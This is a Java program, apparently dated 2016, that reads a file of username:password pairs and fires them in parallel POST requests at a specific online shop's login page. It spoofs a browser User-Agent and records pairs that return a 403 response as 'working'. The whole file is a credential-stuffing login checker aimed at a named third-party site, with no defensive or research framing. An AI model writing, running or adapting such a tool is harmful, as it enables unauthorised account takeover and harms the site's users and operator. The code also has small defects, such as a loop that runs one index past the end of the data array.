import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.FileReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadPoolExecutor;

/**
 * Created by callum on 26/12/2016.
 */
public class Main {

    public static String[] data;
    public static List<String> working = new ArrayList<String>();
    public static int count = 0;


    public static String getUserData(Integer id) {
        String response = "";
        try {
            response = data[id];
        } catch (Exception e ) {
            System.out.println("failed to parse - " + id);
        }
        return response;
    }


    public static void main(String[] args) {


        try {

            BufferedReader in = new BufferedReader(new FileReader("C:/data/seren.txt"));
            String str;
            List<String> list = new ArrayList<String>();
            while((str = in.readLine()) != null){
                list.add(str);
            }
             data = list.toArray(new String[0]);
        } catch (Exception e) {
            e.printStackTrace();
        }
        ThreadPoolExecutor executor = (ThreadPoolExecutor) Executors.newCachedThreadPool();

        for (int i = 0; i <= data.length; i++)
        {
            SendPost post = new SendPost(i);
            System.out.println("A new task has been added : " + post.getName());
            executor.execute(post);
        }
        executor.shutdown();
    }
}

class SendPost implements Runnable {

    private Integer name;

    public SendPost(Integer name)
    {
        this.name = name;
    }

    public Integer getName() {
        return name;
    }

    public void run()
    {

        String data = "";
        try
        {
            data = Main.getUserData(name);
            String userAry[] = data.split(":");
            String username = userAry[0];
            String password = userAry[1];


            System.out.println("sending  - " + name);
            String url = "http://serenps.com/shop/login.php";
            URL obj = new URL(url);
            HttpURLConnection con = (HttpURLConnection) obj.openConnection();

            con.setRequestMethod("POST");
            con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36");
            con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");

            String urlParameters = "submit=Submit&username=" + username + "&password=" + password;
            System.out.println(urlParameters);
            con.setDoOutput(true);
            DataOutputStream wr = new DataOutputStream(con.getOutputStream());
            wr.writeBytes(urlParameters);
            wr.flush();
            wr.close();

            int responseCode = con.getResponseCode();
            System.out.println("Response Code : " + responseCode);

            if (responseCode == 403) {
                Main.working.add(username + ":" + password);
            }

            BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
            String inputLine;
            StringBuffer response = new StringBuffer();

            while ((inputLine = in.readLine()) != null) {
                response.append(inputLine);
            }
            in.close();

            if (response.toString().toLowerCase().contains("username or password is incorrect")) {
                System.out.println("invalid username or password");
            } else {
                System.out.println("unknown result");
            }
        }
        catch (Exception e)
        {
            System.out.println("error on - " + data);
        } finally {
            Main.count += 1;
            System.out.println(Main.count + "/" + Main.data.length);
            if (Main.count >= Main.data.length) {

                System.out.println("----------------------------------------------");
                System.out.println("##############################################");
                System.out.println("----------------------------------------------");
                for (String s: Main.working) {
                    System.out.println(s);
                }
            }
        }
    }
}